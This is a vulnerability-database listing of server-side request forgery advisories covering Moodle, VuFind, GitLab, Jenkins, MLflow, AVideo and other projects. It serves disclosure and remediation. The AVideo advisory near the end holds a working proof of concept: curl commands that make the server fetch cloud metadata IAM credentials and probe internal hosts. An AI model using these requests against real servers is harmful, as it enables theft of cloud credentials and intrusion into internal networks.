CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
6506 vulnerabilities reference this CWE, most recent first.
GHSA-WWV7-H477-WRV7
Vulnerability from github – Published: 2022-07-26 00:00 – Updated: 2024-04-23 23:37A stored Cross-site Scripting (XSS) and blind Server-Side Request Forgery (SSRF) vulnerability was found in Moodle, occurs due to insufficient sanitization of user-supplied data in the SCORM track details. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website to steal potentially sensitive information, change appearance of the web page, can perform phishing and drive-by-download attacks.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.9"
},
{
"fixed": "3.9.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "3.11"
},
{
"fixed": "3.11.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0"
},
{
"fixed": "4.0.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-35651"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-23T23:37:10Z",
"nvd_published_at": "2022-07-25T16:15:00Z",
"severity": "MODERATE"
},
"details": "A stored Cross-site Scripting (XSS) and blind Server-Side Request Forgery (SSRF) vulnerability was found in Moodle, occurs due to insufficient sanitization of user-supplied data in the SCORM track details. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user\u0027s browser in context of vulnerable website to steal potentially sensitive information, change appearance of the web page, can perform phishing and drive-by-download attacks.",
"id": "GHSA-wwv7-h477-wrv7",
"modified": "2024-04-23T23:37:10Z",
"published": "2022-07-26T00:00:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35651"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2106275"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6MOKYVRNFNAODP2XSMGJ5CRDUZCZKAR3"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MTKUSFPSYFINSQFSOHDQIDVE6FWBEU6V"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=436458"
},
{
"type": "WEB",
"url": "http://git.moodle.org/gw?p=moodle.git\u0026a=search\u0026h=HEAD\u0026st=commit\u0026s=MDL-71921"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Moodle Stored XSS and blind SSRF possible via SCORM track details"
}
GHSA-WWXV-FVXX-VP4C
Vulnerability from github – Published: 2024-07-26 15:31 – Updated: 2024-07-26 15:31Automation Anywhere Automation 360 v21-v32 is vulnerable to Server-Side Request Forgery in a web API component. An attacker with unauthenticated access to the Automation 360 Control Room HTTPS service (port 443) or HTTP service (port 80) can trigger arbitrary web requests from the server.
{
"affected": [],
"aliases": [
"CVE-2024-6922"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-26T14:15:03Z",
"severity": "MODERATE"
},
"details": "Automation Anywhere Automation 360 v21-v32 is vulnerable to Server-Side Request Forgery in a web API component. An attacker with unauthenticated access to the Automation 360 Control Room HTTPS service (port 443) or HTTP service (port 80) can trigger arbitrary web requests from the server.",
"id": "GHSA-wwxv-fvxx-vp4c",
"modified": "2024-07-26T15:31:51Z",
"published": "2024-07-26T15:31:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6922"
},
{
"type": "WEB",
"url": "https://www.automationanywhere.com/products/automation-360"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WX24-VQRG-M6M5
Vulnerability from github – Published: 2024-05-22 21:30 – Updated: 2024-05-23 14:20A Server-Side Request Forgery (SSRF) vulnerability in the /Upgrade/FixConfig route in Open Library Foundation VuFind 2.0 through 9.1 before 9.1.1 allows a remote attacker to overwrite local configuration files to gain access to the administrator panel and achieve Remote Code Execution. A mitigating factor is that it requires the allow_url_include PHP runtime setting to be on, which is off in default installations. It also requires the /Upgrade route to be exposed, which is exposed by default after installing VuFind, and is recommended to be disabled by setting autoConfigure to false in config.ini.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "vufind/vufind"
},
"ranges": [
{
"events": [
{
"introduced": "2.0"
},
{
"fixed": "9.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25738"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-23T14:20:46Z",
"nvd_published_at": "2024-05-22T19:15:08Z",
"severity": "CRITICAL"
},
"details": "A Server-Side Request Forgery (SSRF) vulnerability in the /Upgrade/FixConfig route in Open Library Foundation VuFind 2.0 through 9.1 before 9.1.1 allows a remote attacker to overwrite local configuration files to gain access to the administrator panel and achieve Remote Code Execution. A mitigating factor is that it requires the allow_url_include PHP runtime setting to be on, which is off in default installations. It also requires the /Upgrade route to be exposed, which is exposed by default after installing VuFind, and is recommended to be disabled by setting autoConfigure to false in config.ini.",
"id": "GHSA-wx24-vqrg-m6m5",
"modified": "2024-05-23T14:20:47Z",
"published": "2024-05-22T21:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25738"
},
{
"type": "WEB",
"url": "https://github.com/vufind-org/vufind/commit/a19577d3d87d68e5c3f8ade63added44882a193c"
},
{
"type": "PACKAGE",
"url": "https://github.com/vufind-org/vufind"
},
{
"type": "WEB",
"url": "https://vufind.org/wiki/security:cve-2024-25738"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "VuFind Server-Side Request Forgery (SSRF) vulnerability"
}
GHSA-WX2F-993H-V22P
Vulnerability from github – Published: 2022-05-14 01:30 – Updated: 2022-05-14 01:30GitLab Community and Enterprise Editions version 8.3 up to 10.x before 10.3 are vulnerable to SSRF in the Services and webhooks component.
{
"affected": [],
"aliases": [
"CVE-2018-8801"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-25T09:29:00Z",
"severity": "MODERATE"
},
"details": "GitLab Community and Enterprise Editions version 8.3 up to 10.x before 10.3 are vulnerable to SSRF in the Services and webhooks component.",
"id": "GHSA-wx2f-993h-v22p",
"modified": "2022-05-14T01:30:34Z",
"published": "2022-05-14T01:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8801"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/301924"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab-ce/issues/41642"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WX3W-FGHF-HGF7
Vulnerability from github – Published: 2026-09-20 18:31 – Updated: 2026-09-20 18:31A security vulnerability has been detected in NonceGeek dim-sum-app. This impacts the function textSearchV2Handler of the file deno/main.tsx of the component Deno Backend. Such manipulation of the argument supabase_url leads to server-side request forgery. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. The name of the patch is 8389032e5d52c28c4855c6126ca7d0eae8af346a. It is best practice to apply a patch to resolve this issue.
{
"affected": [],
"aliases": [
"CVE-2026-94038"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-20T17:16:52Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in NonceGeek dim-sum-app. This impacts the function textSearchV2Handler of the file deno/main.tsx of the component Deno Backend. Such manipulation of the argument supabase_url leads to server-side request forgery. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. The name of the patch is 8389032e5d52c28c4855c6126ca7d0eae8af346a. It is best practice to apply a patch to resolve this issue.",
"id": "GHSA-wx3w-fghf-hgf7",
"modified": "2026-09-20T18:31:22Z",
"published": "2026-09-20T18:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94038"
},
{
"type": "WEB",
"url": "https://github.com/NonceGeek/dim-sum-app/issues/366"
},
{
"type": "WEB",
"url": "https://github.com/NonceGeek/dim-sum-app/pull/367"
},
{
"type": "WEB",
"url": "https://github.com/NonceGeek/dim-sum-app/commit/8389032e5d52c28c4855c6126ca7d0eae8af346a"
},
{
"type": "WEB",
"url": "https://github.com/NonceGeek/dim-sum-app"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-94038"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/947732"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/407967"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/407967/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WX4C-58F5-RWC5
Vulnerability from github – Published: 2026-10-02 15:31 – Updated: 2026-10-02 15:31Server-Side Request Forgery (SSRF) vulnerability in ThemeREX Group ThemeREX Addons trx_addons allows Server Side Request Forgery.This issue affects ThemeREX Addons: from n/a through 2.46.0.
{
"affected": [],
"aliases": [
"CVE-2026-102797"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-02T13:17:22Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in ThemeREX Group ThemeREX Addons trx_addons allows Server Side Request Forgery.This issue affects ThemeREX Addons: from n/a through 2.46.0.",
"id": "GHSA-wx4c-58f5-rwc5",
"modified": "2026-10-02T15:31:22Z",
"published": "2026-10-02T15:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102797"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/trx_addons/vulnerability/wordpress-themerex-addons-plugin-2-46-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WX9V-FFW3-45WG
Vulnerability from github – Published: 2026-08-12 15:30 – Updated: 2026-08-12 15:30Vulnerability-Lookup contains a server-side request forgery (SSRF) vulnerability in the remote-instance synchronization functionality. Remote instance addresses were validated only for basic URL syntax before being stored, while the synchronization worker later dereferenced these addresses using requests.get() with automatic redirect handling and without enforcing network-boundary restrictions.
An authenticated administrator with the admin:access permission could configure a remote instance whose address points to an internal, loopback, link-local, or cloud metadata HTTP(S) service. When synchronization is performed, the Vulnerability-Lookup server would issue the request from its own network context. An attacker could also use a publicly accessible URL that redirects to an internal destination, because redirects were previously followed without revalidating the destination.
Successful exploitation could allow a privileged attacker to probe or interact with services that are accessible from the Vulnerability-Lookup server but not directly reachable by the attacker, including private network services or cloud instance metadata endpoints. The exact confidentiality, integrity, or availability impact depends on the services reachable from the application server.
The patch introduces a shared outbound URL policy that restricts remote instances to HTTP(S), rejects non-public IP addresses, resolves hostnames at request time, and manually validates each redirect destination before following it. The implementation explicitly blocks private, loopback, link-local, multicast, reserved, and unspecified addresses.
{
"affected": [],
"aliases": [
"CVE-2026-73432"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-12T15:18:33Z",
"severity": "MODERATE"
},
"details": "Vulnerability-Lookup contains a server-side request forgery (SSRF) vulnerability in the remote-instance synchronization functionality. Remote instance addresses were validated only for basic URL syntax before being stored, while the synchronization worker later dereferenced these addresses using requests.get() with automatic redirect handling and without enforcing network-boundary restrictions. \n\n\nAn authenticated administrator with the admin:access permission could configure a remote instance whose address points to an internal, loopback, link-local, or cloud metadata HTTP(S) service. When synchronization is performed, the Vulnerability-Lookup server would issue the request from its own network context. An attacker could also use a publicly accessible URL that redirects to an internal destination, because redirects were previously followed without revalidating the destination.\n\n\nSuccessful exploitation could allow a privileged attacker to probe or interact with services that are accessible from the Vulnerability-Lookup server but not directly reachable by the attacker, including private network services or cloud instance metadata endpoints. The exact confidentiality, integrity, or availability impact depends on the services reachable from the application server.\n\n\nThe patch introduces a shared outbound URL policy that restricts remote instances to HTTP(S), rejects non-public IP addresses, resolves hostnames at request time, and manually validates each redirect destination before following it. The implementation explicitly blocks private, loopback, link-local, multicast, reserved, and unspecified addresses.",
"id": "GHSA-wx9v-ffw3-45wg",
"modified": "2026-08-12T15:30:50Z",
"published": "2026-08-12T15:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73432"
},
{
"type": "WEB",
"url": "https://github.com/vulnerability-lookup/vulnerability-lookup/commit/a3cf621c2583c45227a5b7880123ba0ffef3cc0f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WXJ2-QC9P-65R3
Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2024-01-30 22:27A server-side request forgery vulnerability exists in Jenkins Mattermost Notification Plugin 2.6.2 and earlier in MattermostNotifier.java that allows attackers with Overall/Read permission to have Jenkins connect to an attacker-specified Mattermost server and room and send a message.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.6.2"
},
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:mattermost"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-1003026"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-01-30T22:27:01Z",
"nvd_published_at": "2019-02-20T21:29:00Z",
"severity": "MODERATE"
},
"details": "A server-side request forgery vulnerability exists in Jenkins Mattermost Notification Plugin 2.6.2 and earlier in MattermostNotifier.java that allows attackers with Overall/Read permission to have Jenkins connect to an attacker-specified Mattermost server and room and send a message.",
"id": "GHSA-wxj2-qc9p-65r3",
"modified": "2024-01-30T22:27:01Z",
"published": "2022-05-13T01:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1003026"
},
{
"type": "WEB",
"url": "https://jenkins.io/security/advisory/2019-02-19/#SECURITY-985"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107295"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Mattermost Notification Plugin vulnerable to SSRF"
}
GHSA-WXJ7-3FX5-PP9M
Vulnerability from github – Published: 2025-06-23 15:31 – Updated: 2025-09-12 14:23gateway_proxy_handler in MLflow before 3.1.0 lacks gateway_path validation.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0rc0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.22.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-52967"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-23T21:22:08Z",
"nvd_published_at": "2025-06-23T15:15:29Z",
"severity": "MODERATE"
},
"details": "gateway_proxy_handler in MLflow before 3.1.0 lacks gateway_path validation.",
"id": "GHSA-wxj7-3fx5-pp9m",
"modified": "2025-09-12T14:23:38Z",
"published": "2025-06-23T15:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52967"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/issues/15944"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/pull/15970"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/releases/tag/v2.22.2"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/releases/tag/v3.1.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2025-52.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "MLFlow SSRF via gateway_proxy_handler"
}
GHSA-WXJX-R2J2-96FX
Vulnerability from github – Published: 2026-03-25 19:53 – Updated: 2026-03-25 19:53Summary
The plugin/Live/test.php endpoint accepts a URL via the statsURL parameter and fetches it server-side using file_get_contents(), curl_exec(), or wget, returning the full response content in the HTML output. The only validation is a trivial regex (/^http/) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides isSSRFSafeURL() which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints.
Details
The vulnerable code path is in plugin/Live/test.php:
User input (line 11):
$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
_log('this is not a URL ');
exit;
}
The regex /^http/ only verifies the URL starts with "http" — it does not validate the host, resolve DNS, or check against private/reserved IP ranges.
Sink — file_get_contents (line 58-68):
if (ini_get('allow_url_fopen')) {
try {
$tmp = file_get_contents($url, false, $context);
_log('file_get_contents:: '.htmlentities($tmp));
Sink — curl_exec (line 73-94):
} elseif (function_exists('curl_init')) {
$ch = curl_init();
// ...
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
// ...
$output = curl_exec($ch);
// ...
_log('curl_init:: '.htmlentities($output));
Sink — wget (line 114):
if (wget($url, $filename)) {
$result = file_get_contents($filename);
_log('wget:: '.htmlentities($result));
All three code paths output the full response content to the user via _log(), which echoes to the HTML response (line 155-160).
The codebase provides isSSRFSafeURL() at objects/functions.php:4025 which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported objects/aVideoEncoder.json.php, but plugin/Live/test.php does not call it.
Additionally, SSL certificate verification is disabled on both the file_get_contents stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets.
The endpoint also lacks CSRF token validation while accepting GET requests via $_REQUEST, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin).
PoC
Step 1: Authenticate as admin and obtain session cookie
# Login to obtain PHPSESSID
PHPSESSID=$(curl -s -c - 'https://target.com/objects/userLogin.json.php' \
-d 'user=admin&pass=adminpass' | grep PHPSESSID | awk '{print $7}')
Step 2: Read AWS cloud metadata (IAM credentials)
curl -b "PHPSESSID=${PHPSESSID}" \
'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
Expected output: HTML page containing the full cloud metadata response including IAM role names.
Step 3: Read IAM credentials for a specific role
curl -b "PHPSESSID=${PHPSESSID}" \
'https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole'
Expected output: JSON containing AccessKeyId, SecretAccessKey, and Token for the IAM role.
Step 4: Scan internal services
curl -b "PHPSESSID=${PHPSESSID}" \
'https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/'
Expected output: Full response from internal service at 192.168.1.1:8080.
Impact
An authenticated admin can:
- Read cloud metadata credentials: Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration.
- Enumerate internal services: Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet.
- Port scan internal infrastructure: Determine which internal hosts and ports are active based on response timing and content.
- Bypass network segmentation: Reach services behind firewalls that trust the AVideo server's IP address.
The full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it — compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors.
Recommended Fix
Add isSSRFSafeURL() validation before fetching the URL. In plugin/Live/test.php, after line 15:
$statsURL = $_REQUEST['statsURL'];
if (empty($statsURL) || $statsURL == "php://input" || !preg_match("/^http/", $statsURL)) {
_log('this is not a URL ');
exit;
}
// Add SSRF protection
if (!isSSRFSafeURL($statsURL)) {
_log('URL failed SSRF safety check: ' . htmlentities($statsURL));
exit;
}
Additionally, enable SSL verification in the curl handler (lines 79-80):
// Replace:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
// With:
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
And in the stream context (lines 45-49):
// Replace:
"ssl" => [
"verify_peer" => false,
"verify_peer_name" => false,
"allow_self_signed" => true,
],
// With:
"ssl" => [
"verify_peer" => true,
"verify_peer_name" => true,
"allow_self_signed" => false,
],
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:53:55Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `plugin/Live/test.php` endpoint accepts a URL via the `statsURL` parameter and fetches it server-side using `file_get_contents()`, `curl_exec()`, or `wget`, returning the full response content in the HTML output. The only validation is a trivial regex (`/^http/`) that does not block requests to internal/private IP ranges or cloud metadata endpoints. The codebase provides `isSSRFSafeURL()` which blocks private IPs and resolves DNS to prevent rebinding, but this endpoint does not call it. An authenticated admin can read responses from cloud metadata services, internal network services, and localhost endpoints.\n\n## Details\n\nThe vulnerable code path is in `plugin/Live/test.php`:\n\n**User input (line 11):**\n```php\n$statsURL = $_REQUEST[\u0027statsURL\u0027];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n _log(\u0027this is not a URL \u0027);\n exit;\n}\n```\n\nThe regex `/^http/` only verifies the URL starts with \"http\" \u2014 it does not validate the host, resolve DNS, or check against private/reserved IP ranges.\n\n**Sink \u2014 file_get_contents (line 58-68):**\n```php\nif (ini_get(\u0027allow_url_fopen\u0027)) {\n try {\n $tmp = file_get_contents($url, false, $context);\n _log(\u0027file_get_contents:: \u0027.htmlentities($tmp));\n```\n\n**Sink \u2014 curl_exec (line 73-94):**\n```php\n} elseif (function_exists(\u0027curl_init\u0027)) {\n $ch = curl_init();\n // ...\n curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n // ...\n $output = curl_exec($ch);\n // ...\n _log(\u0027curl_init:: \u0027.htmlentities($output));\n```\n\n**Sink \u2014 wget (line 114):**\n```php\nif (wget($url, $filename)) {\n $result = file_get_contents($filename);\n _log(\u0027wget:: \u0027.htmlentities($result));\n```\n\nAll three code paths output the full response content to the user via `_log()`, which echoes to the HTML response (line 155-160).\n\nThe codebase provides `isSSRFSafeURL()` at `objects/functions.php:4025` which validates URL scheme, resolves DNS hostnames to IP addresses, and blocks private/reserved IP ranges (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, and IPv6 equivalents). This function is used in 7 other endpoints including the previously-reported `objects/aVideoEncoder.json.php`, but `plugin/Live/test.php` does not call it.\n\nAdditionally, SSL certificate verification is disabled on both the `file_get_contents` stream context (lines 45-49) and the curl handler (lines 79-80), allowing MITM attacks against HTTPS targets.\n\nThe endpoint also lacks CSRF token validation while accepting GET requests via `$_REQUEST`, making it susceptible to cross-site request forgery against authenticated admins, although the CSRF-triggered variant is blind (attacker cannot read the response cross-origin).\n\n## PoC\n\n**Step 1: Authenticate as admin and obtain session cookie**\n```bash\n# Login to obtain PHPSESSID\nPHPSESSID=$(curl -s -c - \u0027https://target.com/objects/userLogin.json.php\u0027 \\\n -d \u0027user=admin\u0026pass=adminpass\u0027 | grep PHPSESSID | awk \u0027{print $7}\u0027)\n```\n\n**Step 2: Read AWS cloud metadata (IAM credentials)**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n \u0027https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027\n```\n\nExpected output: HTML page containing the full cloud metadata response including IAM role names.\n\n**Step 3: Read IAM credentials for a specific role**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n \u0027https://target.com/plugin/Live/test.php?statsURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRole\u0027\n```\n\nExpected output: JSON containing `AccessKeyId`, `SecretAccessKey`, and `Token` for the IAM role.\n\n**Step 4: Scan internal services**\n```bash\ncurl -b \"PHPSESSID=${PHPSESSID}\" \\\n \u0027https://target.com/plugin/Live/test.php?statsURL=http://192.168.1.1:8080/\u0027\n```\n\nExpected output: Full response from internal service at 192.168.1.1:8080.\n\n## Impact\n\nAn authenticated admin can:\n\n- **Read cloud metadata credentials:** Access AWS/GCP/Azure instance metadata endpoints (169.254.169.254) to retrieve IAM credentials, instance identity tokens, and other sensitive cloud configuration.\n- **Enumerate internal services:** Probe internal network ranges (10.x, 172.16.x, 192.168.x) and localhost services to discover and read from services not exposed to the internet.\n- **Port scan internal infrastructure:** Determine which internal hosts and ports are active based on response timing and content.\n- **Bypass network segmentation:** Reach services behind firewalls that trust the AVideo server\u0027s IP address.\n\nThe full response disclosure (not blind) makes this a high-confidentiality-impact finding. The admin authentication requirement limits the attack surface but does not eliminate it \u2014 compromised admin accounts, insider threats, and the lack of CSRF protection all provide attack vectors.\n\n## Recommended Fix\n\nAdd `isSSRFSafeURL()` validation before fetching the URL. In `plugin/Live/test.php`, after line 15:\n\n```php\n$statsURL = $_REQUEST[\u0027statsURL\u0027];\nif (empty($statsURL) || $statsURL == \"php://input\" || !preg_match(\"/^http/\", $statsURL)) {\n _log(\u0027this is not a URL \u0027);\n exit;\n}\n\n// Add SSRF protection\nif (!isSSRFSafeURL($statsURL)) {\n _log(\u0027URL failed SSRF safety check: \u0027 . htmlentities($statsURL));\n exit;\n}\n```\n\nAdditionally, enable SSL verification in the curl handler (lines 79-80):\n\n```php\n// Replace:\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\n// With:\ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);\n```\n\nAnd in the stream context (lines 45-49):\n\n```php\n// Replace:\n\"ssl\" =\u003e [\n \"verify_peer\" =\u003e false,\n \"verify_peer_name\" =\u003e false,\n \"allow_self_signed\" =\u003e true,\n],\n// With:\n\"ssl\" =\u003e [\n 